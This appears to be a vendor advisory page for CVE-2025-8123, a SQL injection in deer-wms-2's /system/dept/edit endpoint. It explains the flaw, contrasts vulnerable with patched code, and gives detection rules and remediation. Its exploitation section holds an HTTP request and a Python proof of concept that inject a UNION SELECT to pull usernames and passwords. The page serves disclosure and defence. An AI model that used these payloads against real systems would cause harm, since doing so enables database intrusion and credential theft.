CVE-2025-8123
Executive Summary
CVE-2025-8123 is a critical SQL injection vulnerability discovered in the deerwms deer-wms-2 application, affecting versions up to and including 3.3. The vulnerability resides in the /system/dept/edit endpoint, where the ancestors argument is improperly sanitized before being used in a SQL query. This allows an authenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score of 6.3 reflects the high impact on confidentiality, with lower impacts on integrity and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the deer-wms-2 software. Organizations using this software should prioritize patching.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Attack Vector (AV): Network (N) - The attack can be launched remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): Low (L) - The attacker needs valid credentials to access the vulnerable endpoint.
- User Interaction (UI): None (N) - No user action is required.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): High (H) - Successful exploitation can lead to full database disclosure.
- Integrity (I): Low (L) - Limited ability to modify data.
- Availability (A): Low (L) - Potential for denial of service through database corruption.
Threat Level: High. The public availability of exploit details and the low complexity of the attack make this a significant threat to unpatched systems.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection flaw in the /system/dept/edit endpoint. The application likely constructs a SQL query by directly concatenating the user-supplied ancestors parameter without proper sanitization or parameterized queries.
Vulnerable Code Flow:
- An authenticated user sends a POST request to
/system/dept/editwith theancestorsparameter. - The application takes the value of
ancestorsand inserts it into a SQL query, e.g.,UPDATE dept SET ancestors = 'user_input' WHERE id = ?. - An attacker can inject SQL commands by providing a malicious value for
ancestors, such as' OR 1=1 -- -.
Impact:
- Data Exfiltration: The attacker can use UNION-based SQL injection to extract sensitive data from other tables.
- Data Manipulation: The attacker can modify or delete records in the database.
- Privilege Escalation: If the database user has sufficient privileges, the attacker may be able to execute operating system commands.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
String query = "UPDATE dept SET ancestors = '" + request.getParameter("ancestors") + "' WHERE id = " + request.getParameter("id");
statement.executeUpdate(query);
Patched Code (Conceptual):
String query = "UPDATE dept SET ancestors = ? WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("ancestors"));
pstmt.setInt(2, Integer.parseInt(request.getParameter("id")));
pstmt.executeUpdate();
The patched version uses parameterized queries (PreparedStatement) to ensure user input is treated as data, not executable code.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Valid credentials for the deer-wms-2 application.
- Network access to the vulnerable endpoint.
Exploit Steps:
- Authenticate to the application and obtain a valid session cookie.
- Send a crafted POST request to
/system/dept/editwith a maliciousancestorsparameter.
Example Request:
POST /system/dept/edit HTTP/1.1
Host: target.com
Cookie: JSESSIONID=valid_session_id
Content-Type: application/x-www-form-urlencoded
id=1&ancestors=' UNION SELECT username, password FROM users -- -
Proof of Concept (Python):
import requests
url = "http://target.com/system/dept/edit"
cookies = {"JSESSIONID": "valid_session_id"}
data = {"id": "1", "ancestors": "' UNION SELECT username, password FROM users -- -"}
response = requests.post(url, cookies=cookies, data=data)
print(response.text)
Blue Team (Detection & Response)
Detection:
- Monitor for SQL injection patterns in HTTP requests to
/system/dept/edit. - Look for unusual characters in the
ancestorsparameter, such as single quotes ('), double dashes (--), orUNIONkeywords. - Alert on any database errors returned to the user.
Response:
- Immediately isolate the affected server.
- Review database logs for unauthorized queries.
- Apply the vendor patch or implement a WAF rule to block malicious input.
- Rotate all database credentials and review user accounts for signs of compromise.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/system/dept/editcontaining SQL injection patterns. - Unusual database error messages in HTTP responses.
- HTTP POST requests to
- File IOCs:
- Modified or new files in the application directory (e.g., web shells).
- Log IOCs:
- Database logs showing unexpected
UNION,OR, or--statements. - Application logs showing failed SQL queries.
- Database logs showing unexpected
Detection Engineering
YARA Rule
rule CVE_2025_8123_SQLi_DeptEdit {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-8123 in deer-wms-2"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8123"
strings:
$s1 = "/system/dept/edit" ascii wide nocase
$s2 = "ancestors=" ascii wide nocase
$sqli1 = /'(\s|%20)*OR(\s|%20)*/i
$sqli2 = /'(\s|%20)*UNION(\s|%20)*/i
$sqli3 = /--(\s|%20)*/i
condition:
$s1 and $s2 and ($sqli1 or $sqli2 or $sqli3)
}
Sigma Rule
title: CVE-2025-8123 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the /system/dept/edit endpoint in deer-wms-2
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/system/dept/edit'
cs-uri-query|contains: 'ancestors='
keywords:
- "' OR "
- "' UNION "
- "' -- "
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in department names (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-8123 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/dept/edit"; http_uri; content:"ancestors="; http_client_body; pcre:"/(\x27.*OR.*\x27|\x27.*UNION.*\x27|\x27.*--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply the Patch: Upgrade deer-wms-2 to the latest patched version provided by the vendor.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests containing SQL injection patterns in the
ancestorsparameter. - Input Validation: Implement strict input validation on the server side to reject any input containing SQL metacharacters.
Long-Term Measures:
- Code Review: Conduct a thorough code review of all database interactions to ensure parameterized queries are used.
- Security Training: Train developers on secure coding practices, particularly regarding SQL injection prevention.
- Regular Penetration Testing: Schedule regular security assessments to identify and remediate vulnerabilities.
Valters IT